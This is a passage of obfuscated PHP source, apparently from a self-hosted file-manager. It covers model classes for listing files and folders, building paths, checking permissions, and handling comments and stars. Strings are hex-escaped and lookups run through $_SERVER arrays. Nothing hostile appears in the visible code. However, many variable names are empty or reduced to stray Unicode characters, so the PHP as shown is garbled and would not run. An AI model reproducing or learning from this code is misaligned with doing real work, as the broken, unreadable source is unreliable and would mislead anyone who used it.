Model($Dz[416])->listData(); $񱯌 = array_filter_by_field($Г, $Dz[33], $Dz[417]); $񱯌 = array_to_keyvalue($񱯌, $Dz[12], $Dz[78]); if ($񱯌) { $ٿҁ = $this->listSource(array($Dz[418] => array($Dz[419], $񱯌))); } $ٿҁ = array_to_keyvalue($ٿҁ[$Dz[364]], $Dz[403]); foreach ($Г as &$Ԇ) { $Ԇ = array($Dz[420] => $Ԇ[$Dz[401]], $Dz[421] => $Ԇ[$Dz[32]], $Dz[422] => $Ԇ[$Dz[78]], $Dz[423] => $Ԇ[$Dz[33]], $Dz[424] => $Ԇ[$Dz[193]], $Dz[425] => $Ԇ[$Dz[86]]); if ($Ԇ[$Dz[33]] == $Dz[417] && $ٿҁ[$Ԇ[$Dz[78]]]) { $Ԇ[$Dz[87]] = $ٿҁ[$Ԇ[$Dz[78]]]; } } unset($Ԇ); return $Г; } public function listUserTag($ע蘱) { $ =& $_SERVER[]; if ($ע蘱 && !is_array($ע蘱)) { $ע蘱 = array($ע蘱); } $ = Model($[426])->listData(); $ = array(); foreach ($ as $) { $څ = $[$[78]]; if (!$څ) { continue; } if (!isset($[$څ])) { $[$څ] = array(); } $[$څ][] = $[$[427]]; } $ = array(); foreach ($ as $ => $Ĭ) { $ = !0; if (!$ע蘱) { $[] = $; continue; } foreach ($ע蘱 as $ᆊ) { if (!in_array($ᆊ, $Ĭ)) { $ = !1; break; } } if ($) { $[] = $; } } if (!$) { return array(); } $ = $this->listSource(array($[418] => array($[419], $))); if (!$ || count($) == $[$[361]][$[362]]) { return $; } $˘ۛ = array(); $欻 = array_to_keyvalue($[$[77]], $[12], $[403]); $ = array_to_keyvalue($[$[76]], $[12], $[403]); $ݠ = array_merge($, $欻); foreach ($ as $څ) { if (!in_array($څ, $ݠ)) { $˘ۛ[] = $څ; } } if ($˘ۛ) { Model($[428])->removeBySource($˘ۛ); } return $; } public function listUserRecycle() { $ =& $_SERVER[]; $ = Model($[429])->listData(); if (!$) { return array(); } $ = array($[418] => array($[419], $), $[430] => 1); return $this->listSource($); } public function listSource($ߨ, $ = 3000) { $Ͱ =& $_SERVER[]; if (!isset($ߨ[$Ͱ[431]])) { $ߨ[$Ͱ[431]] = 0; } $ = $Ͱ[432]; $ = $this->field($)->_makeOrder()->where($ߨ)->selectPage($); $this->_listPageCheck($, $, $ߨ); $this->_listDataApply($[$Ͱ[364]]); $this->_listMake($); return $; } private function _listPageCheck(&$і, $鮼, $) { $Ԍͻ =& $_SERVER[]; if (!is_array($і[$Ԍͻ[361]])) { return; } $٪ = $і[$Ԍͻ[361]]; if ($٪[$Ԍͻ[363]] <= 1) { return; } if ($٪[$Ԍͻ[362]] >= 100000) { return; } if (Model($Ԍͻ[433])->get($Ԍͻ[434]) != $Ԍͻ[435]) { return; } $鮼 = str_replace(array($Ԍͻ[53], $Ԍͻ[337], $Ԍͻ[226]), $Ԍͻ[12], $鮼); $鮼 = $Ԍͻ[436] . str_replace($Ԍͻ[50], $Ԍͻ[437], $鮼) . $Ԍͻ[438]; $둛 = $Ԍͻ[439]; $둛 = $둛 . $Ԍͻ[440]; $ɉ = $٪[$Ԍͻ[358]] * ($٪[$Ԍͻ[348]] - 1) . $Ԍͻ[50] . $٪[$Ԍͻ[358]]; $ = $this->_makeOrder(!0); $ = $Ԍͻ[436] . str_replace($Ԍͻ[50], $Ԍͻ[437], $[0]); if (strpos($, $Ԍͻ[441])) { $ = str_replace($Ԍͻ[441], $Ԍͻ[442], $); } else { $ .= $Ԍͻ[443] . $[1]; } $ = array(); foreach ($ as $륰 => $) { $[$Ԍͻ[436] . $륰] = $; } $this->alias($Ԍͻ[444])->field($鮼)->limit($ɉ)->order($); $ = $this->join($둛)->where($)->select(); if ($) { $і[$Ԍͻ[364]] = $; } } protected function _makeOrder($͋ = false) { $ĕ =& $_SERVER[]; $Ő = Model($ĕ[445])->get($ĕ[446]); $̻ = Model($ĕ[445])->get($ĕ[447]); $Ѽ = array($ĕ[448] => $ĕ[449], $ĕ[450] => $ĕ[451]); $џ͏ = array($ĕ[32] => $ĕ[32], $ĕ[80] => $ĕ[80], $ĕ[167] => $ĕ[413], $ĕ[452] => $ĕ[452], $ĕ[453] => $ĕ[454], $ĕ[193] => $ĕ[193], $ĕ[86] => $ĕ[86]); $ = Input::get($ĕ[455], $ĕ[7], $Ő, array_keys($џ͏)); $֊ = Input::get($ĕ[456], $ĕ[7], $̻, array_keys($Ѽ)); if (!in_array($, array_keys($џ͏))) { $ = $ĕ[32]; } if (!in_array($֊, array_keys($Ѽ))) { $ = $ĕ[448]; } if ($ == $ĕ[32]) { } $ށ = $ĕ[457] . $џ͏[$] . $ĕ[53] . $Ѽ[$֊]; $ށ = rtrim(trim($ށ), $ĕ[50]); if ($͋) { return array($ށ, $Ѽ[$֊]); } return $this->order($ށ); } protected function _listDataApplyItem($, $ = false) { $⡡ = array($); $this->_listDataApply($⡡, $); return $⡡[0]; } protected function _listDataApply(&$Н, $҇ = false) { $ը־ =& $_SERVER[]; if (!$Н) { $Н = array(); return; } $ſ = array_to_keyvalue($Н, $ը־[12], $ը־[403]); $ſ = array_unique($ſ); $this->_listSourceCache($Н); if (!$҇) { $this->_listAppendMeta($Н, $ſ); $this->_listAppendFileMeta($Н, $ſ); $this->_listAppendChildren($Н, $ſ); } $this->_listAppendPath($Н); $this->_listAppendAuth($Н); $this->_listAppendSourceInfo($Н, $ſ); $this->_listAppendUser($Н); $this->_listFilterInfo($Н, $҇); $this->_listAppendAuthSecret($Н); } protected function _listSourceCache($ê) { $׋ =& $_SERVER[]; foreach ($ê as $чƌ) { self::$cacheSourceInfo[$׋[458] . $чƌ[$׋[403]]] = $чƌ; } } protected function _listFilterInfo(&$Nj, $ = false) { $߹ݫ =& $_SERVER[]; foreach ($Nj as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$߹ݫ[459] . intval($) . $߹ݫ[460] . $[$߹ݫ[403]]] = $; } unset($); } protected function _listMake(&$) { $꘡ =& $_SERVER[]; $[$꘡[77]] = array(); $[$꘡[76]] = array(); foreach ($[$꘡[364]] as $ה) { $皓 = $ה[$꘡[411]] == 1 ? $꘡[77] : $꘡[76]; $[$皓][] = $ה; } unset($[$꘡[364]]); } protected function _listAppendMeta(&$ר, $) { $ө߲ =& $_SERVER[]; $… = array($ө߲[418] => array($ө߲[419], $)); $ܪ = Model($ө߲[461])->field($ө߲[462])->where($…)->select(); if (!$ܪ) { return; } $͌ = array($ө߲[463], $ө߲[464], $ө߲[442]); $˕⩶ = array(); foreach ($ܪ as $) { if (!isset($˕⩶[$[$ө߲[403]]])) { $˕⩶[$[$ө߲[403]]] = array(); } if (in_array($[$ө߲[95]], $͌)) { continue; } $˕⩶[$[$ө߲[403]]][$[$ө߲[95]]] = $[$ө߲[369]]; } foreach ($ר as &$ҁɱ) { $ҁɱ[$ө߲[465]] = !1; if (isset($˕⩶[$ҁɱ[$ө߲[403]]])) { $ҁɱ[$ө߲[465]] = $˕⩶[$ҁɱ[$ө߲[403]]]; } if ($this->fileIsLock($ҁɱ) && $ҁɱ[$ө߲[414]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $ҁɱ[$ө߲[414]][$ө߲[415]] = AuthModel::authDisable($ҁɱ[$ө߲[414]][$ө߲[415]], $); $ҁɱ[$ө߲[414]][$ө߲[466]][$ө߲[414]] = $ҁɱ[$ө߲[414]][$ө߲[415]]; } } unset($ҁɱ); } protected function _listAppendFileMeta(&$, $е) { $𹎯 =& $_SERVER[]; $؁ = array_to_keyvalue($, $𹎯[12], $𹎯[467]); $؁ = array_filter(array_unique($؁)); if (!$؁) { return; } $ = array($𹎯[468] => array($𹎯[419], $؁)); $ = $𹎯[469]; $ߚ֝ = Model($𹎯[470])->field($)->where($)->select(); $ߚ֝ = array_to_keyvalue($ߚ֝, $𹎯[467]); $ = Model($𹎯[471])->field($𹎯[472])->where($)->select(); $ = $ ? $ : array(); $ = array(); foreach ($ as $՝) { if (!isset($[$՝[$𹎯[467]]])) { $[$՝[$𹎯[467]]] = array(); } $[$՝[$𹎯[467]]][$՝[$𹎯[95]]] = $՝[$𹎯[369]]; } foreach ($ as &$ϑ) { $¯ = $ϑ[$𹎯[467]]; if (!$¯ || !is_array($ߚ֝[$¯])) { continue; } $ƶ = $ߚ֝[$¯]; $ƶ[$𹎯[80]] = $ϑ[$𹎯[80]]; $ƶ[$𹎯[32]] = $ϑ[$𹎯[32]]; if (!isset(self::$cacheFileInfo[$𹎯[473] . $¯])) { self::$cacheFileInfo[$𹎯[473] . $¯] = array_merge(array(), $ƶ); } unset($ߚ֝[$¯][$𹎯[78]]); $ޥ = is_array($[$¯]) ? $[$¯] : array(); $ϑ[$𹎯[163]] = array_merge($ޥ, $ߚ֝[$¯]); if (isset($ϑ[$𹎯[163]][$𹎯[162]])) { $ϑ[$𹎯[162]] = json_decode($ϑ[$𹎯[163]][$𹎯[162]], !0); unset($ϑ[$𹎯[163]][$𹎯[162]]); } } unset($ϑ); } protected function _listAppendSourceInfo(&$Ш厙, $푃) { $ð =& $_SERVER[]; if (!defined($ð[474])) { return; } $ = Model($ð[475])->listData(); $茕 = Model($ð[426])->listData(); $Қ = Model($ð[416])->listData(); $׍ = Model($ð[476])->listSimple(); $ = array_to_keyvalue($, $ð[401]); $ = array_to_keyvalue_group($茕, $ð[78], $ð[427]); $̡ = array_to_keyvalue($Қ, $ð[78]); $ؙ΁ = array_to_keyvalue_group($׍, $ð[403]); foreach ($Ш厙 as &$) { $[$ð[87]] = array($ð[477] => 0, $ð[478] => 0, $ð[479] => 0); if (isset($̡[$[$ð[403]]])) { $[$ð[87]][$ð[480]] = 1; $[$ð[87]][$ð[481]] = $̡[$[$ð[403]]][$ð[32]]; } if (isset($[$[$ð[403]]])) { $[$ð[87]][$ð[482]] = array(); foreach ($[$[$ð[403]]] as $) { $ߣ = $[$]; $[$ð[87]][$ð[482]][] = array($ð[483] => $ߣ[$ð[401]], $ð[421] => $ߣ[$ð[32]], $ð[484] => $ߣ[$ð[485]]); } } if (isset($ؙ΁[$[$ð[403]]])) { $[$ð[87]][$ð[486]] = array(); foreach ($ؙ΁[$[$ð[403]]] as $ͩ) { $[$ð[87]][$ð[486]] = array($ð[487] => $ͩ[$ð[488]], $ð[489] => $ͩ[$ð[490]], $ð[491] => $ͩ[$ð[403]], $ð[492] => $ͩ[$ð[493]], $ð[494] => $ͩ[$ð[495]], $ð[496] => $ͩ[$ð[496]], $ð[497] => $ͩ[$ð[497]]); } } } unset($); return $Ш厙; } protected function _listAppendChildren(&$ݯ, $) { $ی =& $_SERVER[]; $ն = array(); $ܰ܁ = array($ی[202] => 0, $ی[203] => 0); foreach ($ݯ as &$ݛ) { if (!$ݛ[$ی[411]]) { continue; } $ն[] = $ݛ[$ی[403]]; } unset($ݛ); if (!$ն) { return; } $Х = array($ی[498] => array($ی[7], $ն)); $Ⳮ = array($ی[498], $ی[411], $ی[499] => $ی[500]); $ = $this->field($Ⳮ)->where($Х)->group($ی[501])->select(); $ = array(); foreach ($ as $) { $æ = $[$ی[498]]; $² = $[$ی[411]] == $ی[89] ? $ی[203] : $ی[202]; if (!isset($[$æ])) { $[$æ] = array($ی[202] => 0, $ی[203] => 0); } $[$æ][$²] += $[$ی[500]]; } foreach ($ݯ as &$ݛ) { if (!$ݛ[$ی[411]]) { continue; } $Ó = is_array($[$ݛ[$ی[403]]]) ? $[$ݛ[$ی[403]]] : $ܰ܁; $ݛ[$ی[203]] = $Ó[$ی[203]]; $ݛ[$ی[202]] = $Ó[$ی[202]]; unset($ݛ[$ی[413]]); } unset($ݛ); } protected function _listAppendAuth(&$ݻ) { $ =& $_SERVER[]; if (!defined($[474])) { return; } $Е = array(); foreach ($ݻ as $) { if ($[$[412]] == self::TYPE_GROUP) { $Е[] = $[$[403]]; } } if (!$Е) { return; } $ = array_to_keyvalue($ݻ, $[403]); $ı = Model($[502])->getSourceList($Е, $); foreach ($ݻ as $đ => &$) { $[$[414]] = $ı[$[$[403]]]; if (!$[$[414]] && $[$[412]] == self::TYPE_GROUP) { $[$[414]] = Action($[503])->pathGroupAuthMake($[$[504]]); if (!$[$[414]] && !_get($GLOBALS, $[505])) { $[$[195]] = !1; $[$[194]] = !1; } } if ($[$[414]]) { $[$[195]] = AuthModel::authCheckEdit($[$[414]][$[415]]); $[$[194]] = AuthModel::authCheckView($[$[414]][$[415]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $ڄ =& $_SERVER[]; if (Model($ڄ[433])->get($ڄ[506]) != $ڄ[89]) { return; } static $ڭ = false; if (!$ڭ) { $߶ = Model($ڄ[507]); $Ҁ = Model($ڄ[508]); $ڭ = $Ҁ->listData(); $ڭ = array_to_keyvalue($ڭ, $ڄ[403]); $׀ = json_decode(Model($ڄ[433])->get($ڄ[509]), !0); $׀ = array_to_keyvalue($׀, $ڄ[401]); foreach ($ڭ as $ => $ӏ) { $ = $׀[$ӏ[$ڄ[510]]]; if (!$) { $Ҁ->remove($ӏ[$ڄ[401]]); unset($ڭ[$]); continue; } $Ĩ = $߶->listData($[$ڄ[414]]); if (!$Ĩ) { $Ҁ->remove($ӏ[$ڄ[401]]); unset($ڭ[$]); continue; } $ӏ[$ڄ[414]] = $Ĩ; $ӏ[$ڄ[511]] = $; $ӏ[$ڄ[512]] = Model($ڄ[513])->getInfoSimpleOuter($ӏ[$ڄ[452]]); $ڭ[$] = $ӏ; } } $ݿ = defined($ڄ[514]) ? USER_ID : $ڄ[12]; $֫ = array(); $ȏ = $this->_listAppendPath($֫, !0); foreach ($ as $ => &$ӏ) { if (!is_array($ӏ[$ڄ[414]])) { continue; } if ($ӏ[$ڄ[412]] != $ڄ[515]) { continue; } if (isset($ڭ[$ӏ[$ڄ[403]]])) { $ѓ = $ڭ[$ӏ[$ڄ[403]]]; if (!is_array($ӏ[$ڄ[465]])) { $ӏ[$ڄ[465]] = array(); } $ӏ[$ڄ[465]][$ڄ[516]] = $ѓ[$ڄ[510]]; $ӏ[$ڄ[414]][$ڄ[517]] = $ѓ; $ӏ[$ڄ[414]][$ڄ[518]] = $ӏ[$ڄ[519]]; $ӏ[$ڄ[414]][$ڄ[520]] = $ڄ[89]; if ($ѓ[$ڄ[452]] != $ݿ) { $ӏ[$ڄ[414]][$ڄ[415]] = $ӏ[$ڄ[414]][$ڄ[415]] & $ѓ[$ڄ[414]][$ڄ[414]]; } continue; } $ެ‹ = $this->parentLevelArray($ӏ[$ڄ[521]]); $⨻ = array_reverse($ެ‹); foreach ($⨻ as $ => $Ӂ) { if (!isset($ڭ[$Ӂ])) { continue; } $ѓ = $ڭ[$Ӂ]; $ӏ[$ڄ[414]][$ڄ[517]] = $ѓ; if ($ѓ[$ڄ[452]] != $ݿ) { $ӏ[$ڄ[414]][$ڄ[415]] = $ӏ[$ڄ[414]][$ڄ[415]] & $ѓ[$ڄ[414]][$ڄ[414]]; } $ = $ڄ[12]; $Щ = count($ެ‹) - $; for ($ = 0; $ < $Щ; $++) { if (!isset($ȏ[$ެ‹[$]])) { $ = $ڄ[12]; break; } $ = $ . rtrim($ȏ[$ެ‹[$]], $ڄ[8]) . $ڄ[8]; } $ӏ[$ڄ[414]][$ڄ[518]] = rtrim($, $ڄ[8]) . $ڄ[8]; break; } } unset($ӏ); } public function groupPathDisplay(&$) { $׵ =& $_SERVER[]; if ($[$׵[412]] != self::TYPE_GROUP) { return; } $ = Model($׵[522])->getInfo($[$׵[504]]); $˒ = $this->parentLevelArray($[$׵[521]]); $ = $׵[12]; foreach ($˒ as $윋) { $ꆝӈ = Model($׵[522])->getInfo($윋); $ .= $ꆝӈ[$׵[87]][$׵[403]] . $׵[50]; } $[$׵[523]] = $[$׵[498]]; $[$׵[524]] = $[$׵[521]]; $[$׵[525]] = $[$׵[526]]; $[$׵[527]] = $ . $[$׵[87]][$׵[403]]; } protected function _listAppendPath(&$ߑ, $ = false) { $ =& $_SERVER[]; static $ = array(); $ = array(); $ = array(); if ($) { return $; } foreach ($ߑ as &$) { $ɭ = $[$[403]]; if ($[$[411]] == $[89] && $[$[498]] != 0) { $[$ɭ] = $[$[32]]; } if ($[$[411]] == $[89] && $[$[498]] == 0 && !isset($[$ɭ])) { $[$ɭ] = $this->_listAppendPathRoot($, array()); } if (isset($[$[$[521]]])) { continue; } $[$[$[521]]] = !0; $ = $this->parentLevelArray($[$[521]]); foreach ($ as $ => $) { if (isset($[$])) { continue; } if ($ == 0) { $[$] = $this->_listAppendPathRoot($, $); } if ($ != 0) { $[] = $; } } } unset($); $ = array_unique($); if (count($) > 0) { $݌ = array($[418] => array($[419], $)); if (count($) == 1) { $ = $this->sourceInfo($[0]); $Ȉٖ = is_array($) ? array($) : !1; } else { $Ȉٖ = $this->field($[528])->where($݌)->select(); } if (!$Ȉٖ) { $Ȉٖ = array(); } foreach ($Ȉٖ as $ܖɜ) { $[$ܖɜ[$[403]]] = $ܖɜ[$[32]]; } } $̔ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = array(); foreach ($ߑ as &$) { $ = $[$[521]]; $ܺ = $[12]; if (isset($[$])) { $ܺ = $[$]; } else { $ = $this->parentLevelArray($[$[521]]); foreach ($ as $ => $) { if (isset($[$])) { $ܺ .= $[$] . $[8]; } } $[$] = $ܺ; } $ܺ .= $[$[32]]; if ($[$[411]] == $[89]) { $ܺ .= $[8]; } $[$[519]] = str_replace($[529], $[8], $ܺ); if ($[$[498]] == $[190]) { $[$[32]] = trim($[$[$[403]]], $[8]); $[$[519]] = $[$[32]] . $[8]; } if (intval($[$[412]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $, $̔); } } unset($); return $ߑ; } private function _listAppendPathRecycle(&$, $, $ȇ) { $ =& $_SERVER[]; if (!in_array($ȇ, $) && $[$[403]] != $ȇ) { return; } $쩲 = explode($[8], trim($[$[519]], $[8])); $׎ = implode($[8], array_slice($쩲, 2)); $[$[519]] = $[8] . LNG($[530]) . $[8] . ltrim($׎, $[8]); $[$[521]] = $[531] . implode($[50], array_slice($, 1)) . $[50]; if ($[$[403]] == $ȇ) { $[$[521]] = $[531]; $[$[498]] = $[190]; $[$[32]] = LNG($[530]); } $[$[532]] = $[533]; } protected function _listAppendPathRoot(&$ۗ, $) { $ =& $_SERVER[]; $ = $[12]; if ($ۗ[$[412]] == self::TYPE_USER) { if (defined($[474]) && $ۗ[$[504]] == USER_ID) { $ = LNG($[534]); if (!$) { $ۗ[$[32]] = $; } } else { $ = Model($[513])->getInfoSimple($ۗ[$[504]]); $ = LNG($[535]) . $[159] . $[$[32]] . $[536]; } } else { if ($ۗ[$[412]] == self::TYPE_GROUP) { $ = Model($[522])->getInfoSimple($ۗ[$[504]]); $ = $[$[32]]; } else { if ($ۗ[$[412]] == self::TYPE_SYSTEM) { $ = $[537]; } } } $ = $ ? $[8] . $ . $[8] : $[8]; return $; } protected function _listAppendUser(&$) { $͒ =& $_SERVER[]; $ͅ = array_to_keyvalue($, $͒[12], $͒[452]); $ = array_to_keyvalue($, $͒[12], $͒[454]); $͇ = array_merge($ͅ, $); $› = Model($͒[538])->userListInfo($͇); foreach ($ as &$) { $ω = $[$͒[452]]; $[$͒[452]] = $›[$ω] ? $›[$ω] : !1; $ω = $[$͒[454]]; $[$͒[454]] = $›[$ω] ? $›[$ω] : !1; if (isset($[$͒[465]]) && $[$͒[465]][$͒[539]]) { $ǹ = $GLOBALS[$͒[6]][$͒[90]][$͒[540]]; if ($[$͒[465]][$͒[541]] <= time() - $ǹ) { $this->metaSet($[$͒[403]], $͒[539], null); $this->metaSet($[$͒[403]], $͒[541], null); unset($[$͒[465]][$͒[539]]); continue; } $نδ = $[$͒[465]][$͒[539]]; $[$͒[465]][$͒[542]] = Model($͒[538])->getInfoSimpleOuter($نδ); } } unset($); } public function parentLevelArray($ݣ̽) { $ȁ =& $_SERVER[]; $ݣ̽ = explode($ȁ[50], trim($ݣ̽, $ȁ[50])); return array_remove_value($ݣ̽, $ȁ[190]); } public function listAll($ؤ) { $ =& $_SERVER[]; $Ɠ = $this->sourceInfo($ؤ); $ = array($[543] => array($[544], $Ɠ[$[521]] . $ؤ . $[545]), $[546] => 0); $ = $[547]; $ = "\114\105\x46\x54\40\112\x4f\x49\x4e\40{$this->tablePrefix}\151\x6f\137\x66\x69\x6c\145\x20\x66\x69\x6c\145\x20\x6f\156\40\x73\x6f\165\162\x63\145\x2e\146\151\154\x65\x49\x44\40\x3d\40\146\x69\x6c\x65\56\x66\151\154\145\111\104"; $ = $this->alias($[444])->field($)->where($)->join($)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $[403]); $Ʋ = "\57{$Ɠ[$[32]]}\57"; $Ʋ = $Ʋ == $[529] ? $[8] : $Ʋ; $ = array(); foreach ($ as $֫ => $Ю) { $ˆ = $this->parentLevelArray($Ю[$[521]]); array_shift($ˆ); $ = $Ʋ; for ($ = 0; $ < count($ˆ); $++) { $ .= $[$ˆ[$]][$[32]] . $[8]; } $ .= $Ю[$[32]]; if ($Ю[$[411]]) { $ .= $[8]; } $ = str_replace($[529], $[8], $); $ = str_replace($[529], $[8], $); $ = array($[422] => str_replace($[529], $[8], $), $[548] => intval($Ю[$[411]]), $[87] => $this->pathInfoFilter($Ю)); if (!$Ю[$[411]]) { $[$[467]] = $Ю[$[467]]; $[$[88]] = $Ю[$[78]]; } $[] = $; } return $; } } goto fŤÍ; D: class CommentModel extends ModelBase { protected $tableName = "\x63\157\x6d\155\145\156\x74"; protected $tableMeta = array("\164\141\x62\x6c\x65\116\141\x6d\x65" => "\143\157\x6d\x6d\145\x6e\164\137\155\x65\164\x61", "\155\145\x74\x61\x46\x69\145\154\144" => "\x63\x6f\x6d\x6d\145\156\x74\x49\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($㹷) { $κ =& $_SERVER[]; if ($㹷[$κ[1838]]) { $ۅ = $this->where(array($κ[1839] => $㹷[$κ[1838]]))->find(); if (!$ۅ || $ۅ[$κ[412]] != $㹷[$κ[412]] || $ۅ[$κ[504]] != $㹷[$κ[504]]) { return !1; } $this->where(array($κ[1839] => $㹷[$κ[1838]]))->setAdd($κ[1840], 1); } $㹷[$κ[1841]] = 0; $㹷[$κ[1840]] = 0; $㹷[$κ[743]] = 1; return $this->add($㹷); } public function commentCount($튻, $, $Ŏ = false) { $ʟá =& $_SERVER[]; if (!$튻) { return array(); } if (is_string($튻) || is_int($튻)) { $튻 = array($튻); } $ٻ = array($ʟá[504], $ʟá[1842] => $ʟá[500]); $ԼҊ = array($ʟá[504] => array($ʟá[7], $튻), $ʟá[412] => $); if ($Ŏ) { $ԼҊ[$ʟá[1642]] = $Ŏ; } $ҟ = $this->field($ٻ)->where($ԼҊ)->group($ʟá[504])->select(); return array_to_keyvalue($ҟ, $ʟá[504], $ʟá[500]); } public function starTarget($򍎻, $) { $ =& $_SERVER[]; $ĝ = $򍎻 + self::TYPE_STAR_OFFSET; $П = array($[1642] => USER_ID, $[412] => $ĝ, $[504] => $); $蒥 = $this->where($П)->find(); if ($蒥) { return $this->where(array($[401] => $蒥[$[401]]))->delete(); } $ = array($[1838] => 0, $[1642] => USER_ID, $[743] => 1, $[748] => $[12], $[412] => $ĝ, $[504] => $, $[1841] => 0, $[1840] => 0); return $this->add($); } public function starTargetCount($, $ν) { $ƽ =& $_SERVER[]; $ɿі = $ν + self::TYPE_STAR_OFFSET; $Պ܉ = $this->commentCount($, $ɿі); $ա = $this->commentCount($, $ɿі, USER_ID); return array($ƽ[1843] => $Պ܉, $ƽ[1844] => $ա); } public function starTargetUserList($, $) { $ =& $_SERVER[]; $ߦ♥ = $ + self::TYPE_STAR_OFFSET; $ = array($[504] => $, $[412] => $ߦ♥); $ʿժ = $this->where($)->count(); $ = array($[250] => $ʿժ, $[1845] => array()); if (!$ʿժ) { return $; } $ = $this->field($[1642])->where($)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1642]); $[$[1845]] = Model($[513])->userListInfo($); return $; } public function prasiseUserList($迒) { $ٶ =& $_SERVER[]; $ƣǠ = array($ٶ[1846] => $迒); $ = $this->where($ƣǠ)->find(); $睃 = _get($, $ٶ[1841], 0); $Ͼ = array($ٶ[250] => $睃, $ٶ[1845] => array()); if (!$睃) { return $Ͼ; } $󇩪 = Model($ٶ[1847])->field($ٶ[1642])->where($ƣǠ)->limit(500)->select(); $󇩪 = array_to_keyvalue($󇩪, $ٶ[12], $ٶ[1642]); $Ͼ[$ٶ[1845]] = Model($ٶ[513])->userListInfo($󇩪); return $Ͼ; } public function remove($֚) { $ =& $_SERVER[]; $썍 = array($[1839] => $֚); $ = $this->where($썍)->find(); if ($[$[1838]]) { $this->where(array($[1839] => $[$[1838]]))->setAdd($[1840], -1); } return $this->where($썍)->delete(); } public function edit($ׂن, $ߜ) { $ =& $_SERVER[]; $ = array($[1839] => $ׂن); return $this->where($)->save(array($[1848] => $ߜ)); } public function prasise($ɜ) { $ =& $_SERVER[]; $栀 = Model($[1849]); $ = array($[1839] => $ɜ, $[1633] => USER_ID); $ = $栀->where($)->find(); if (!$) { $栀->add($); $Ğ = $this->where(array($[1839] => $ɜ))->setAdd($[1841], 1); } else { $栀->where($)->delete(); $Ğ = $this->where(array($[1839] => $ɜ))->setAdd($[1841], -1); } return $Ğ; } public function targetInfo($Θ, $Ó) { $ࡎ =& $_SERVER[]; $ = array($ࡎ[580] => $Θ, $ࡎ[581] => $Ó); $ = $this->where($)->count(); $ = "\x52\111\x47\x48\124\40\x4a\117\111\x4e\x20{$this->tablePrefix}\x63\x6f\x6d\x6d\x65\156\x74\137\x70\x72\141\151\x73\x65\x20\163\x74\x61\162\40\157\156\40\x63\157\x6d\155\x65\x6e\x74\x2e\143\157\x6d\x6d\x65\156\164\x49\x44\x20\x3d\40\163\164\141\x72\56\x63\157\155\155\x65\156\x74\111\104"; $ = $this->alias($ࡎ[349])->where($)->join($, $ࡎ[1850])->count(); $҃ = array($ࡎ[1851] => $, $ࡎ[1852] => $); return $҃; } public function listData($У) { $ք =& $_SERVER[]; if (isset($У[$ք[1853]])) { if ($У[$ք[1853]]) { $У[$ք[1846]] = array($ք[1001], intval($У[$ք[1853]])); } unset($У[$ք[1853]]); } if (isset($У[$ք[1854]])) { if ($У[$ք[1854]]) { $У[$ք[1846]] = array($ք[998], intval($У[$ք[1854]])); } unset($У[$ք[1854]]); } return $this->_listData($У); } private function _listData($ԫ) { $ =& $_SERVER[]; $Ǜ = $this->where($ԫ)->_makeOrder()->selectPage(100); $this->_listAppendParent($Ǜ[$[364]]); $this->_listAppendUser($Ǜ[$[364]]); $this->_listAppendMeta($Ǜ[$[364]]); return $Ǜ; } private function _makeOrder() { $« =& $_SERVER[]; $᝟ = array($«[1841], $«[1840], $«[193]); $ = Input::get($«[455], $«[7], $«[424], $᝟); $޽ = Input::get($«[456], $«[7], $«[1635], array($«[1855], $«[451])); $ = $ . $«[53] . $޽; return $this->order($); } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ы = array_unique(array_to_keyvalue($, $[12], $[1838])); $ы = array_remove_value($ы, $[190]); if (!$ы) { return; } $׮ = $this->where(array($[1839] => array($[7], $ы)))->select(); $׮ = array_to_keyvalue($׮, $[1846]); foreach ($ as &$) { if (isset($׮[$[$[1838]]])) { $[$[1856]] = $׮[$[$[1838]]]; } } unset($); } private function _listAppendUser(&$) { $ϩ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $ϩ[12], $ϩ[1642])); $ = array_remove_value($, $ϩ[190]); if (count($) == 0) { return; } foreach ($ as $܈) { if (isset($܈[$ϩ[1856]])) { $[] = $܈[$ϩ[1856]][$ϩ[1642]]; } } $ = Model($ϩ[538])->userListInfo($); foreach ($ as &$܈) { $܈[$ϩ[594]] = $[$܈[$ϩ[1642]]]; if (isset($܈[$ϩ[1856]])) { $܈[$ϩ[1856]][$ϩ[594]] = $[$܈[$ϩ[1856]][$ϩ[1642]]]; } } unset($܈); } private function _listAppendMeta(&$̊) { $ =& $_SERVER[]; $Šˆ = array_unique(array_to_keyvalue($̊, $[12], $[1846])); $Šˆ = array_remove_value($Šˆ, $[190]); if (!$Šˆ) { return; } foreach ($̊ as $ǟგ) { if (isset($ǟგ[$[1856]])) { $Šˆ[] = $ǟგ[$[1856]][$[1846]]; } } $ޒ = $this->metaList($Šˆ); if (!$ޒ) { return !1; } foreach ($̊ as &$ǟგ) { $ǟგ[$[465]] = $ޒ[$ǟგ[$[1846]]]; if (isset($ǟგ[$[1856]])) { $ǟგ[$[1856]][$[465]] = $ޒ[$ǟგ[$[1856]][$[1846]]]; } } unset($ǟგ); } private function metaList($Ʌ) { $ȇ =& $_SERVER[]; if (!$Ʌ) { return array(); } $஺ = array($ȇ[1846] => array($ȇ[7], $Ʌ)); $” = Model($ȇ[1857])->where($஺)->select(); $” = array_to_keyvalue_group($”, $ȇ[1846]); foreach ($” as $Ȼ => $) { $捚 = array(); foreach ($ as $뛀) { $捚[$뛀[$ȇ[95]]] = $뛀[$ȇ[369]]; } $”[$Ȼ] = $捚; } return $” ? $” : array(); } } class FileContentModel extends ModelBase { protected $tableName = "\151\157\137\x66\151\154\145\x5f\x63\x6f\156\x74\145\156\x74\x73"; protected $dataAuto = array(array("\x63\x72\145\141\164\x65\124\151\x6d\x65", "\164\151\155\145", "\151\x6e\x73\x65\162\x74", 